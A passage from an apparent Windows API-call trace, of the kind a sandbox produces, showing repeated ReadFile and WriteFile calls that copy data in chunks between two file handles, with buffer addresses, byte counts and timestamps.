lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.761] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.774] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.774] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.775] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.776] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.776] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.778] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.779] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.780] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.782] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.782] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.782] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.783] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.784] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.784] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.786] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.786] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.787] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.788] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.788] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.789] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.790] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.791] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.791] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.838] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.840] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.840] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.842] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.842] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.842] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.843] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.875] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.878] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.879] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.880] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.880] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.881] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.883] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.883] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.884] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.885] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.885] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.886] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.888] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.889] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.890] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.891] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.891] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.892] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.894] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.894] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.895] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.896] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.896] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.898] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.900] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.901] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.902] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.903] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.903] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.904] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.906] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.906] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.907] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.908] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.908] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.909] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.912] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.913] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.914] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.914] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.915] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.916] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.965] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.965] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.967] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.967] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.968] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.969] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.999] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.002] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.004] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.004] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.005] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.006] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.007] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.008] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.009] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.009] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.010] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.011] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.012] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.013] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.015] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.015] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.015] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.017] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.018] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, 